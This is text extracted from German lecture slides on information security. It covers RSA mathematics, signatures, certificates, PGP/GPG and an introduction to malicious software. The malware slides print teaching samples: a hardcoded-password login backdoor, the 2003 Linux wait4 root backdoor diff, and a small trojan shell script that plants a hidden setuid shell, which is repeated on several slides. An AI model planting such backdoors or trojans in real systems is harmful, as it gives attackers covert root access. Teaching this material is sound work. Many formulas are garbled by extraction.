= ggT(6,3) (9 = 1 · 6 + 3)

= ggT(3,0) (6 = 2 · 3 + 0)

= 3

Fazit:I effizienter Algorithmus (viel effizienter als

Primfaktorzerlegung!)70 / 126

Erweiterter Euklidischer Algorithmus

generiert zusätzlich zu ggT eine so genannteLinearkombination (aka Vielfachsumme) des ggT:

ggT(n, a) = k = v · n + u · a

Algorithmus 3 Berechne k = ggT (n,a) = vn + ua1: (c,d)← (a,n)2: (uc , vc ,ud , vd)← (1,0,0,1)3: while c 6= 0 do4: q ← bd/cc5: (c,d)← (d − qc, c)6: (uc , vc ,ud , vd)← (ud − quc , vd − qvc ,uc , vc)7: end while8: (k , v ,u)← (d , vd ,ud)9: return k , v ,u

71 / 126

Erweiterter Euklidischer AlgorithmusBeispiel

Gesucht: ggT(17,3) = k = v · 17 + u · 3

Zeile c d uc vc ud vd q1 3 172 1 0 0 14 55 2 36 -5 1 1 04 15 1 26 6 -1 -5 14 25 0 16 -17 3 6 -1

k = 1, v = −1,u = 6, also ggT(17,3) = 1 = −1 · 17 + 6 · 372 / 126

Modulare Inverse

Satz (Satz von der modularen Inversen)Seien a und n teilerfremde ganze Zahlen (d. h., ggT (n,a) = 1). Danngibt es eine Ganzzahl b, so dass gilt:

a · b mod n = 1.

(„a ist modulo n invertierbar.“, „b ist das zu a inverse multiplikativeElement modulo n.“)Beweis:I wenn k = 1, dann gibt es lt. erweitertem euklidischen

Algorithmus ganze Zahlen v ,u mit

1 = k = ggT(n,a) = v · n + u · a.I Bei (Modulo-)Division durch n liefert linke Seite den Wert 1,

rechte Seite den Wert u · a mod n (da v · n durch n teilbar).I Also gilt:

1 = u · a mod n

I Mit u = b folgt die Behauptung.73 / 126

39

Public-Key-Kryptografie mit RSAÜberblick

I Ron Rivest, Adi Shamir, Leonard Adleman (1977)I beruht auf Schwierigkeit, große Zahlen (100-200 Stellen

oder mehr) zu faktorisieren9

I (unbewiesene) Vermutung:Die Entschlüsselung eines Chiffrates ohneKenntnis des Schlüssels ist genauso schwierigwie die Faktorisierung der beiden beteiligtenZahlen

I → Langzahlarithmetik erforderlichI eines der am leichtesten zu verstehenden

Public-Key-Verfahren

9 in Primfaktoren zu zerlegen74 / 126

RSASchlüsselgenerierung

1. Wähle zwei verschiedene große Primzahlen p,q.2. Berechne den sog. RSA-Modul

n = pq.

3. Ermittle den Wert der Eulerschen ϕ-Funktion für n:

ϕ(n) = (p − 1)(q − 1).

4. Wähle e für den öffentlichen Schlüssel zufällig, so dassI 1 < e < ϕ(n) gilt undI e und ϕ(n) teilerfremd sind (ggT(ϕ(n),e) = 1).

75 / 126

RSASchlüsselgenerierung - Teil 2

5. Es muss für den privaten Schlüssel d gelten:

e · d mod ϕ(n) = 1.

Daher wird d mittels des erweiterten euklidischenAlgorithmus errechnet:

d = e−1 mod (p − 1)(q − 1).

6. Vernichte p und q.7. Schlüssel wurden generiert:

I der öffentliche Schlüssel ist (e,n),I der private Schlüssel ist d .

76 / 126

RSA(Stark vereinfachtes) Beispiel zur Schlüsselgenerierung

1. p = 47,q = 712. n = 47 · 71 = 33373. ϕ(3337) = (p − 1)(q − 1) = 46 · 70 = 32204. e muss teilerfremd sein zu 3220, e = 795. d = 79−1 mod 3220 = 10196. Schlüssel:

I (e,n) = (79,3337)I d = 1019

77 / 126

RSAVorgang des Ver- und Entschlüsselns

VerschlüsselungI gegeben: Public Key (e,n), Klartextnachricht mI m in Blöcke mi zerlegen, für deren Größe L < n gelten

mussI blockweise modular exponieren:

ci = mei mod n

EntschlüsselungI gegeben: Private Key d , Chiffrat ci

I blockweise modular exponieren

mi = cdi mod n

78 / 126

RSABeispiel zum Verschlüsseln

Fortsetzung des Beispiels:I (e,n) = (79,3337)I d = 1019I m = 6882326879666683 („DR DOBBS“)I willkürliche Zerlegung in Blöcke von 3 ZeichenI → m1 = 688,m2 = 232,m3 = 687,m4 = 966,m5 =

668,m6 = 003 (links mit Nullen aufgefüllt!)Verschlüsselung:

c1 = me1 mod n = 68879 mod 3337 = 1570

c2 = me2 mod n = 23279 mod 3337 = 2756

usw .

Ergebnis: c = 1570 2756 2091 2276 2423 158

79 / 126

40

RSABeispiel zum Entschlüsseln

Entschlüsselung:

m1 = cd1 mod n = 15701019 mod 3337 = 688

m2 = cd2 mod n = 27561019 mod 3337 = 232

usw .

Ergebnis: m = 688 232 687 966 668 3

80 / 126

RSAWarum funktioniert das ganze (in a Nutshell)?

I Nach den Regeln des Rechnens mit Restklassen gilt:

cdi mod n = (me

i mod n)d mod n = medi mod n = . . .

I da definitionsgemäß ed ≡ 1 mod ϕ(n), gilted = 1 + kϕ(n), k ∈ Z, also:

· · · = m1+kϕ(n)i mod n = mim

kϕ(n)i mod n = . . .

I per definitionem gilt weiterhin n = pq undϕ(n) = (p − 1)(q − 1), also

· · · = mimk(p−1)(q−1)i mod pq =

(m(p−1)(q−1)

i

)kmi mod pq

81 / 126

RSAWarum funktioniert das ganze (Teil 2)?

I Der Satz von Euler besagt:

x (p−1)(q−1) mod pq = 1 , wenn ggT(x ,pq) = 1.

I bezugnehmend auf das letzte Ergebnis ergibt sich so:

(m(p−1)(q−1)

i

)kmi mod pq = 1kmi mod pq = . . .

I und da schließlich mi < n = pq, ergibt sich endlich

· · · = mi mod pq = mi .

Fazit: RSA funktioniert.

82 / 126

RSABemerkungen

I viel geringere Geschwindigkeit als symmetrischeVerfahren (ca. Faktor 1000)

I bis zum Jahr 2000 patentiert (RSA Security, Inc.)I kryptologisch bislang nicht gebrochenI Als öffentlicher Schlüssel e werden häufig die Werte 3, 17

und 216 + 1 = 65537 gewählt, da sie wenig Aufwand beimVerschlüsseln (bzw. Verifizieren der Signatur) verursachen

I Ähnliche kleine Werte für d sind unmöglich, da derAngreifer sonst (Brute-Force) alle möglichenSchlüsselwerte durchprobieren könnte.

83 / 126

RSAProbleme beim „schulbuchmäßigen“ Einsatz

I gleiche Klartextblöcke erzeugen gleiche Chiffratblöcke(analog ECB)

I Klartext-Werte 1, 0 und -1 erzeugen Chiffrate 1, 0 und -1I RSA ist verformbar (malleable): Angreifer kann das Chiffrat

verändern, was zu einer Transformation des Klartextesführt, ohne zu entschlüsseln:I Alice schickt Bob y = xe mod nI Mallory ersetzt y durch y ′ = sey (s ∈ Z)I Bob entschlüsselt y ′:

y ′d mod n = (sey)d mod n

= (sexe mod n)d mod n

= (sx)ed mod n= sx mod n

Abhilfe: Padding84 / 126

RSAOptimal Asymmetric Encryption Padding (OAEP)

7.7 RSA in Practice: Padding 193

length of the message in bytes. A hash function computes a message digest of fixedlength (e.g., 160 or 256 bit) for every input. More about hash functions is foundin Chap. 11. Furthermore, let L be an optional label associated with the message(otherwise, L is an empty string as default). According to the most recent versionPKCS#1 (v2.1), padding a message within the RSA encryption scheme is done inthe following way:

1. Generate a string PS of length k−|M|−2|H|−2 of zeroed bytes. The length ofPS may be zero.

2. Concatenate Hash(L), PS, a single byte with hexadecimal value 0x01, and themessage M to form a data block DB of length k−|H|−1 bytes as

DB = Hash(L)||PS||0x01||M.

3. Generate a random byte string seed of length |H|.4. Let dbMask = MGF(seed,k−|H|−1), where MGF is the mask generation func-

tion. In practice, a hash function such as SHA-1 is often used as MFG.5. Let maskedDB = DB⊕dbMask.6. Let seedMask = MGF(maskedDB, |H|).7. Let maskedSeed = seed ⊕ seedMask.8. Concatenate a single byte with hexadecimal value 0x00, maskedSeed and

maskedDB to form an encoded message EM of length k bytes as

EM = 0x00||maskedSeed||maskedDB.

Figure 7.3 shows the structure of a padded message M.

0x00Hash(L)seed |||

k

k−|H|−1|H|1

seedMask dbMask

MPS 0x01

Fig. 7.3 RSA encryption of a message M with Optimal Asymmetric Encryption Padding (OAEP)

On the decryption side, the structure of the decrypted message has to be verified.For instance, if there is no byte with hexadecimal value 0x01 to separate PS fromM, a decryption error occurred. In any case, returning a decryption error to the user(or a potential attacker!) should not reveal any information about the plaintext.

Abbildung: Ablauf beim OAEP10

10Christof Paar und Jan Pelzl. Understanding Cryptography. Springer, 2010, S. 193.85 / 126

41

Sicherheit von RSA

I Gegner besitzt e und nI um d zu ermitteln, kann er n faktorisieren (in pq).

d ≡ e−1 mod ((p − 1)(q − 1))

I bislang unbewiesen, ob die Faktorisierung zwingendnotwendig ist, um d zu errechnen

I ebenso möglich: Brute-Force-Angriff auf d(Durchprobieren) nur erfolgversprechend, wenn d sehrklein

I p und q müssen vernichtet werden, aus ihnen kann dergeheime Schlüssel trivial ermittelt werden.

I Seitenkanalangriffe (z. B.) über Leistungsaufnahme beiVerschlüsselung (Simple Power Analysis)

86 / 126

Exkurs: Seitenkanalangriff (Side Channel Attack)

I Angriffe richten sich nicht gegen den Algorithmus, sonderneine bestimmte Implementierung

I es werden bestimmte Parameter des den Algorithmusausführenden Systems gemessen, z. B.I AusführungszeitenI Cache-Hit- (bzw. -Miss-) RateI aufgenommene LeistungI elektromagnetische AbstrahlungI Geräuschemissionen

I Aus den ermittelten Parametern werden Informationenüber den Programmfluss extrahiert, die das Brechen desVerfahrens (oder eines bestimmten Schlüssels)vereinfachen.

Beispiel: durch das „Belauschen“ des Busprotokolls(CPU-RAM) und genauer Kenntnis der Implementation kannman die Schlüssellänge ermitteln.

87 / 126

Seitenkanalangriff

Beispiel:I verschiedene Tasten einer Computertastatur oder eines

Geldautomaten produzieren verschiedene Geräusche (fürden Menschen nicht unterscheidbar)

I Aufzeichnen und nachträgliches Auswerten kann Texte,PINs, Passworte ermitteln (z. B. mittels neuronaler Netze)

I Asonov/Agraval: Keyboard Acoustic Emanations. IEEESymposium on Security and Privacy, 2004

Gegenmaßnahmen:I Reduktion oder Elimination der EmissionI Vereinheitlichung (z. B. von Cachezugriffen oder

Ausführungszeiten)I asynchrone CPUs

88 / 126

Faktorisierungsverfahren

I unbekannt, zu welcher Komplexitätsklasse das Problem„Faktorisierung“ gehört

Einfachstes Verfahren: Versuchsweise Division bis√

nStand der Technik sind die folgenden schwierigen Algorithmen:I KettenbruchmethodeI Quadratisches Sieb (QS); nur für Zahlen < 110

DezimalstellenI Zahlkörpersieb (Number Field Sieve; NFS); effizientester

bislang bekannter AlgorithmusI Shor-Algorithmus - kann in P faktorisieren, erfordert aber

Quantencomputer

89 / 126

RSA Factoring Challenge

I Wettbewerb „Wer faktorisiert als erster definierte Zahlengroßer Länge?“

I 1991–2007I Ziel: Nachweis/Falsifizierung der Sicherheit des

RSA-KryptosystemsI Preisgeld:

∑635.100$

Beispiel: RSA-100

= 15226050279225333605356183781326374297180681149613

80688657908494580122963258952897654000350692006139

= 37975227936943673922808872755445627854565536638199

∗ 40094690950920881030683735292761468389214899724061

90 / 126

RSA Factoring ChallengeAusgewählte Ergebnisse

Zahl Bits Dez.-Stellen Lösungsjahr CPU-Jahre

RSA-100 330 100 1991

RSA-140 463 140 1999 8.9

RSA-155 512 155 1999 35.7

RSA-160 530 160 2003

RSA-576 576 174 2003

RSA-640 640 193 2005 55

RSA-200 663 200 2005 30

RSA-768 768 232 2010 ≈ 1500

91 / 126

42

Signieren (und Verifizieren) mittels RSA

Voraussetzung: Bob hat ein Schlüsselpaar(KB,priv = d ,KB,pub = (e,n)) erzeugt.

Ablauf:1. Bob übermittelt Alice seinen öffentlichen Schlüssel KB,pub.2. Bob signiert die Nachricht M, d. h. , er verschlüsselt diese

mit KB,priv . Es entsteht Bobs Signatur über MsigB(M) = Md mod n.

3. Bob übermittelt M und sigB(M) an Alice.4. Alice entschlüsselt die Signatur mit Bobs öffentlichem

Schlüssel

M ′ : = (sigB(M))e mod n =(

Md mod n)e

mod n

= Mde mod n

5. Alice vergleicht das Dechiffrat M ′ mit der empfangenenNachricht M. Gilt M ′ = M, dann ist die Signatur gültig,ansonsten ungültig.

92 / 126

Signieren (und Verifizieren) mittels RSAFazit

2 Merkmale werden durch eine gültige Signatur bewiesen:1. Nachricht M kommt von Bob (, da nur er den für die

Erzeugung der Signatur nötigen privaten Schlüsselbesitzt). – Authentizität

2. Die Nachricht M wurde nicht verändert. – IntegritätBei ungültiger Signatur kann i.a. nicht unterschieden werden,welche der beiden Fakten nicht stimmen.

Des weiteren kann Bob die geleistete Unterschrift nichtabstreiten („non-repudiation“).

93 / 126

Management öffentlicher SchlüsselZertifikate

Problem: Übereinstimmung öffentlicher Schlüssel — IdentitätLösung: Zertifikat = Nachricht, dieI Repräsentation der Identität,I zugehörigen öffentlichen Schlüssel,I Zeitstempel oder Geltungsdauer

enthält und durch eine vertrauenswürdige Instanz (Trent,“Issuer”, Certification Authority) signiert wurde.

Def.: Ein Zertifikat ist eine Einheit, die einen kryptografischenSchlüssel an eine Identität bindet.

94 / 126

Zertifikate für öffentliche SchlüsselPrinzip

����������������������������

����������������������������

���������������������

���������������������

������������������������E

Alice’ Public Key

Alice’ ID

Informationen der CA

Erstellung des Zertifikats

Private Key der CA

Hash des unsigniertenZertifikats

H

unsigniertes Zertifikat

D

H

Public Key der CA

Signatur des Zertifikats

=?

Prüfung des Zertifikats

95 / 126

Management öffentlicher SchlüsselAufbau eines Zertifikats; formal

Ein durch Zertifizierungsinstanz CA ausgestelltes Zertifikat fürNutzer A enthält:

Cert(CA,A) = {IDCA, IDA,eA,T,Ext, sigCA}

mitsigCA = dCA {H(IDCA, IDA,eA,T,Ext)}

Legende:

IDA eindeutiger Name des Teilnehmers AeA öffentlicher Schlüssel des Teilnehmers A

dCA privater Schlüssel der CAT Gültigkeitszeitraum des Zertifikats

sigCA digitale Signatur der CAH(j) kryptografischer Hash über jExt optionale Erweiterungen nach X.509

96 / 126

Verifikation einer digitalen SignaturSchritt 1: Verifikation der Signatur

Bob möchte Alice’ Signatur prüfen. Dazu muss er1. Alice’ Zertifikat besorgen (enthält den zur Unterschrift

passenden öffentlichen Schlüssel eA),2. mit eA den ursprünglichen Hashwert des Dokuments H1

entschlüsseln,3. den aktuellen Hashwert des Dokuments H2 ermitteln,4. Signatur passt zu Zertifikat, wenn H1 = H2.

97 / 126

43

Verifikation einer digitalen SignaturSchritt 2: Verifikation des Zertifikates

Nun muss Bob prüfen, ob das Zertifikat stimmt:1. den öffentlichen Schlüssel eCA der CA besorgen, die Alice’

Zertifikat ausgestellt hat,2. mit eCA den ursprünglichen Hashwert des Zertifikats H3

entschlüsseln,3. den aktuellen Hashwert des Zertifikats H4 ermitteln,4. das Zertifikat ist gültig, wenn H3 = H4.

98 / 126

Bob verifiziert Alice’ SignaturPrinzipielle Struktur einer Public Key Infrastructure (PKI)

CA1

Root-CACA

Cert(CA, CA)

Cert(CA, CA1)

Bob Alice

Text

sigAlice[Text]

Cert(CA1, Alice)

99 / 126

Aufbau eines ZertifikatesX.509 (ISO Authentication Framework)

Version

Seriennummer

Algorithmen-identifikation

Aussteller (Issuer)

Geltungsdauer

Betreff (Subject)

Public Key

Signatur

I Version: des Protokolls (1, 2oder 3)

I Seriennummer: eindeutiginnerhalb der CA

I Algorithmus: der Signatur (zumNachvollzug)

I Aussteller: eindeutiger Name derCA

I Betreff: dem Public Keyzugeordnete Identität

I Signatur: ausgestellt durch CA

100 / 126

Zertifikatseigenschaften

Abbildung: Issuer und Subject im Zertifikat (Beispiel)

101 / 126

Namen im X.509-Zertifikat

Benennung von Issuer und Subject in X.509 erfolgt mittelshierarchischem Distinguished Naming des X.500-Protokolls mitden folgenden Feldern:

Bedeutung Beispielcn Common Namee E-Mail-Address [email protected]

ou Organization Unit TC TrustCenter Class 2 CAo Organization Name TC TrustCenter for Security

in Data Networks GmbHl Locality Name Hamburg

st State Name Hamburgc Country de

102 / 126

Certification Authorities (Zertifizierungsstellen)

Def.: Eine Einheit, die Zertifikate ausstellt, wird CertificationAuthority (CA) genannt.

CAA

CAC CAB

CAE

Alice

CAD

Bob

I jede CA besitzt ein Zertifikat,das von der direkt über und derdirekt unter ihr liegenden CAsigniert ist

I zuoberst: Master CA (hier: CAE )I Es entsteht eine

Zertifizierungshierarchie.I CAs können sich gegenseitig

zertifizieren (Cross Certification)

103 / 126

44

Certification Authorities

Einige Unternehmen bieten Zertifizierung als Dienstleister an,so z. B.:I VeriSign, Inc.11,I Thawte,I Deutsche Post AG,I T-Systems.

Darüber hinaus gibt es gemeinnützige Organisationen, die dasgleiche kostenfrei oder preiswert anbieten.I CAcertI DFN e. V.

Zertifikate bekannter CAs sind in typischer Software (Browser,E-Mail-Client) eingebaut.

11VeriSign ist interessanterweise Betreiber der TLDs .com und .net sowie Eigentümer von Jamba!104 / 126

Problem des zentralisierten Modells

Problem: Kann man der CA unbedingt vertrauen?Antwort: Leider nein:I Einbruch in (niederländische Firma) DigiNotar 2011,

Angreifer stellten sich unberechtigte Zertifikate aus, diesewurden mißbräuchlich zur Überwachung iranischer Bürgergenutzt12

I (türkische CA) Türktrust stellte im August 2011 irrtümlich 2Zertifikate aus, mit denen sich beliebige Domainszertifizieren lassen

12http://www.rijksoverheid.nl/bestanden/documenten-en-publicaties/rapporten/2012/08/13/black-tulip-update/black-tulip-update.pdf

105 / 126

Rücknahme von Zertifikaten (Certificate Revocation)

Problem: Schlüssel können vor ihrem „Verfallsdatum“ ungültigwerden, z. B. bei Kompromittierung eines privaten Schlüssels→ zugehöriges Zertifikat muss zurückgezogen werden

a) Certificate Revocation List (CRL)I zentrale Datenbank der CA mit allen ungültigen ZertifikatenI beim Prüfen eines Zertifikates muss CRL durchsucht

werdenI Voraussetzung: Teilnehmer sind permanent onlineI z. B. X.509

b) Fast ExpirationI kurze Gültigkeitsdauer des Zertifikats (10’. . . 24h)I nutzt Mechanismus der begrenzten LebensdauerI Voraussetzung: Teilnehmer sind permanent online

c) Online Certificate VerificationI Zertifikatsprüfung durch zentrale InstanzI schnell, zuverlässigI OCSP (Online Certificate Status Protocol)

106 / 126

Schlüsselzertifizierung bei PGP„Web of Trust“

I keine ZertifizierungsinstanzenI Benutzer unterzeichnen öffentliche Schlüssel gegenseitigI behalten Kopien der unterzeichneten SchlüsselI Keysigning PartyI erlaubt individuelle Beurteilung:

I Vertrauen in die Gültigkeit eines SchlüsselsI Zuverlässigkeit der Unterschrift eines TeilnehmersI Zuverlässigkeit eines Teilnehmers, andere Schlüssel zu

zertifizierenI auch nicht vertrauenswürdige Schlüssel können benutzt

werdenI Hauptproblem: Schlüsselrücknahme (→ Key Revocation

Certificate)

107 / 126

Beispiel für Vertrauensmodell im PGP

Quelle: Bruce Schneier, Angewandte Kryptographie. Pearson, 2006, S. 665

108 / 126

Schlüsselaufbewahrung

I öffentliche Schlüssel sind einfach aufzubewahrenI ihre Integrität muss gesichert seinI Nutzung der Zertifikate

I geheime Schlüssel und Schlüssel für symmetrischeKryptografie?I persistent in Datei; Nutzung von BS-Mechanismen zum

ZugriffsschutzI verschlüsselte Abspeicherung (hilft nicht gegen Keylogging)I ROM oder SmartcardI Problem: Diebstahl der SmartcardI Verbesserung: Verteilung auf mehrere Karten oder Karte

und Lesegerät

109 / 126

45

Pretty Good Privacy (PGP)

I ist eine Software zumVerschlüsseln und Signieren vonE-Mails

I 1991 durch Phil Zimmermannentwickelt

I erste Implementierung vonPublic-Key-Kryptografie für dieAllgemeinheit

I unterlag restriktivenExportbestimmungen (als Buchexportiert)

I nutzt hybride Kryptografie

http://upload.wikimedia.org/wikipedia/commons/7/77/PRZ_closeup.jpg

110 / 126

PGP

I nutzte (ursprünglich) IDEA zur symmetrischenVerschlüsselung, MD-5 als Hash und RSA zurPublic-Key-Kryptografie

I Web of Trust anstatt CAsI wechselvolle EntwicklungsgeschichteI zeitweise Eigentum von Network Associates (aka McAfee)I in dieser Zeit Weiterentwicklung als Closed Source

(Vertrauen verschwunden)I wieder zurück an die PGP CorporationI als kommerzielle Software entwickelt und vertriebenI → OpenPGP-Standard als offene Alternative

111 / 126

Gnu PrivacyGuard (GPG)

I freie und patentfreie Implementierung desOpenPGP-Standards (RFC 4880)

I nutzt DSA, ElGamal, SHA-1, CAST5 (symmetrischeBlockchiffre)

I alle gängigen Desktop-Betriebssysteme (Unixe, Windows,MacOS) unterstützt

I in Standardsoftware (MUA, Browser, Chatsoftware) bereitsintegriert, aber auch als Kommandozeilenprogrammnutzbar

I unterstützt Schlüsselserver, die öffentliche Schlüsselsammeln und anbieten (Beispiel: http://pgp.mit.edu)

112 / 126

Nutzung von GPG. . . an der Kommandozeile

I gpg --gen-key erzeugt den Schlüsselring (Key Ring)sowie das Schlüsselpaar

I gpg --export --armor extrahiert den Public Key undschreibt diesen als 7-Bit-Zeichen nach stdout oder ineine Datei

I gpg --import [datei] importiert einen Schlüssel inden Keyring

I gpg --sign <datei> signiert die DateiI gpg --verify <datei> überprüft die Signatur,

vorausgesetzt, der öffentliche Schlüssel steht zurVerfügung

I gpg -s <datei> verschlüsselt symmetrischI gpg -e / -d ver- bzw. entschlüsselt asymmetrisch

113 / 126

SchlüsselsicherheitDer Word-Makro-Virus „Caligula“ (W97M/Caligula.a)

“Searches for PGP Secure Keyring using registryentry to get PGP installed path. [. . . ] If user name isnot ’Caligula’, runs PGP Secure Keyring find and sendroutine - user name retrieved from registry [...] If filefound, file is uploaded to the virus author’s ftp siteusing a script file written as ’c:\cdbrk.vxd’ and usingftp.exe in a hidden process” (McAfee Virusdatenbank)

I Keyring läßt sich viel leichter knacken als eineverschlüsselte Nachricht, insbesondere beikurzer/schlechter Passphrase (Wörterbuch-Angriff)

I Die beste Verschlüsselung nützt nichts, wenn andereAspekte der Systemsicherheit vernachlässigt werden!

114 / 126

Exkurs: SchlangenölWoran erkennt man schlechte kryptografische Software?

Warning Sign No.1: Pseudo-mathematical gobbledygook.

I “Encryptor 4.0 uses a unique in-house developedincremental base shift algorithm”

I “From a mathematical point of view, the TTM algorithm isintuitively natural and less cumbersome to use thanmethods that are number-theory based.”(http://www.usdsi.com/ )

I “SuperKrypt products utilize the DNGT bulk encryptionmethod,”

I “Since key length and key structure vary and since theencryption engine does not use any mathematicalalgorithms, reverse engineering is impossible andguessing is not an option.”

(http://www.schneier.com/crypto-gram-9902.html) – TBC. . .

115 / 126

46

Vorlesung InformationssicherheitThema 5: Bösartige Software

Robert Baumgartl

28. Mai 2018

1 / 85

Überblick

Bösartige Software

unabhängigWirtsprogramm nötig

Hintertüren

Logische Bomben Viren Würmer Trojanische Pferde

verbreiten sich selbständig

Abbildung: Mögliche Kategorisierung bösartiger Software

I lokale vs. entfernte AngriffeI on-line- vs. off-line-Angriffe

2 / 85

Logische Bomben

Idee: Implantierung „bösartigen“ Codes in Applikationen (oderin das BS), Aktivierung des Codes, sobald eine bestimmteAktivierungsbedingung erfüllt

I Aktivierungsbedingung Eintritt eines Datums→ (logische)„Zeitbombe“ (Kalender von Aktivierungsdaten:http://vil.nai.com/vil/calendar/virus_calendar.aspx)

I meist simples Löschen von DatenI häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben

3 / 85

Ausschnitt aus dem McAfee-Aktivierungskalender

12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A(Intended), WM/Eraser.A:Tw, VBS/Aqui

13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,WM/Goldsecret.B:Int,WM/CVCK1.B;E,W97M/Rapmak.a, W97M/Yous, W97M/Alamat,WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,W97M/Digma

14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,VBS/Aqui

15. Mai . . .

4 / 85

Logische Bomben

Beispiel:I Donald Gene Burleson, Programmierer für Versicherung

USPA & IRA, Ft. Worth, TXI entlassen am 18. 9. 1985 (Grund: persönliche

Schwierigkeiten)I am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus

der Datenbank des Unternehmens gelöschtI Code wurde bei Restaurierung der gelöschten Datensätze

gefundenVor Gericht:

“Benson, who spent four days testifying about how heuncovered the scheme, said the destructive programswere created Sept. 2 and Sept. 3, 1985, on Burleson’scomputer terminal by someone using Burleson’scomputer password.”

(http://catless.ncl.ac.uk/Risks/7.56.html)5 / 85

Hintertüren (Back Doors)

Idee: Einbau (nichtdokumentierter) Schnittstellen in Softwarezwecks späteren (unautorisierten) Zugriffes auf das System.

I Mißbrauch von geheimen Debugging-SchnittstellenI schwierig von BS-Seite aus zu erkennenI häufiges Relikt aus der ProduktentwicklungI Behörden sind häufig der Meinung, ein Anrecht auf

Hintertüren zu habenI Gegenmaßnahme: Code Reviews, Open SourceI symmetrische vs. asymmetrische HintertürenI viele Würmer installieren Back DoorsI feste Master-BIOS-Passworte, z. B. lkwpeter bei Award

BIOS

6 / 85

47

Beispiel einer Hintertür

Beispiel: Login-Code mit Hintertür (Tanenbaum: ModernOperating Systems, 2001, S. 610)

while (TRUE) {printf("login: ");get_string(name);disable_echoing();printf("password: ");get_string(password);enable_echoing();v = check_validity(name, password);if (v || strcmp(name, "zzzzz") == 0)break;

}execute_shell(name);

7 / 85

Beispiel 2 (Backdoor im Linux-Kern; nice try)

From: Larry McVoy [email blocked]Subject: Re: BK2CVS problemDate: Wed, 5 Nov 2003 14:23:02 -0800

On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:> Out of curiosity, what were the changed lines?--- GOOD 2003-11-05 13:46:44.000000000 -0800+++ BAD 2003-11-05 13:46:53.000000000 -0800@@ -1111,6 +1111,8 @@

schedule();goto repeat;

}+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))+ retval = -EINVAL;

retval = -ECHILD;end_wait4:

current->state = TASK_RUNNING;

---Larry McVoy lm at bitmover.com

8 / 85

Beispiel 2 (Backdoor im Linux-Kern; nice try)

I jemand modifizierte die Kernelquellen (unautorisiert)I fraglicher Code gehört zu sys_wait4(), d. h. dem

Systemruf wait4()I „verkleideter Code“; (current->uid = 0) sieht so

ähnlich aus wie (current->uid == 0)

I wenn jemand wait4() aufruft und die Optionen__WCLONE und __WALL sind gesetzt, so erhält derRufende root-Rechte

I Code wurde beim Review entdeckt (“It’s not a big deal, wecatch stuff like this, but it’s annoying to the CVS users.”)

9 / 85

BackdoorsWeitere Beispiele

I Das FBI hat (wahrscheinlich) Vertragspartner gebeten, denIPsec-Stack von OpenBSD mit Backdoors auszustatten(14. 12. 2010).http://marc.info/?l=openbsd-tech&m=129236621626462&w=2

I Die Konfiguration einiger Router der Firma D-Link kannmittels eines Browsers modifiziert werden, wenn derUser-Agent-String die Zeichenkette„mlset_roodkcableoj28840ybtide“ enthält (12. 10. 2013).http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/

10 / 85

Trojanische Pferde („Trojaner“)

Idee: dem Nutzer ein Programm unterschieben, welches beiAktivierung unerlaubte Aktionen ausführt

I anstelle eines Eindringlings führt ein autorisierter NutzerSchadcode aus

I Beispiel: gefälschter Login-BildschirmI Klassiker: Compiler, der unbemerkt bösartigen Code in

übersetzte Programme einbaut (Ken Thompson:Reflections on Trusting Trust, CACM 4(27), S. 761ff.)

I vgl. „Staatstrojaner“ (früher: „Bundestrojaner“)I Strafverfolger dürfen Rechner kompromittieren, um ohne

Wissen des Betroffenen Kommunikation zu überwachenI am 22.6.2017 im Bundestag mittels intransparentem

Eilverfahren beschlossen

11 / 85

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

12 / 85

48

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

13 / 85

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

14 / 85

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

15 / 85

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

16 / 85

(Computer)-Viren

“A virus is a program that is able to infect otherprograms by modifying them to include a possiblyevolved copy of itself.” (Fred Cohen)

